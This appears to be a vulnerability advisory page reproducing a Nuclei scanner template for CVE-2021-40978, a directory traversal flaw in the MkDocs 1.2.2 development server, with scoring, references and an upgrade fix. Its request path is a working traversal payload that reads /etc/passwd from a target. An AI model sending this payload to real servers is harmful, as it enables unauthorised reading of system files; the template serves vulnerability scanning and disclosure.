The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
PoC代码[已公开]
id: CVE-2021-40978
info:
name: MKdocs 1.2.2 - Directory Traversal
author: pikpikcu
severity: high
description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
impact: |
An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
remediation: |
Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.
reference:
- https://github.com/mkdocs/mkdocs/pull/2604
- https://github.com/nisdn/CVE-2021-40978
- https://nvd.nist.gov/vuln/detail/CVE-2021-40978
- https://github.com/mkdocs/mkdocs
- https://github.com/mkdocs/mkdocs/issues/2601
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40978
cwe-id: CWE-22
epss-score: 0.84812
epss-percentile: 0.99294
cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: mkdocs
product: mkdocs
tags: cve2021,cve,mkdocs,lfi
http:
- method: GET
path:
- '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:[x*]:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402207bed5198428ea7b3bee3a9011a0b221de1eac3ecbf62b54726c54c0e28a73f0102200aeaba211c9d920567f75b8fab1fcb86f2525391ec6b99e486ac4213968bdf83:922c64590222798bb761d5b6d8e72950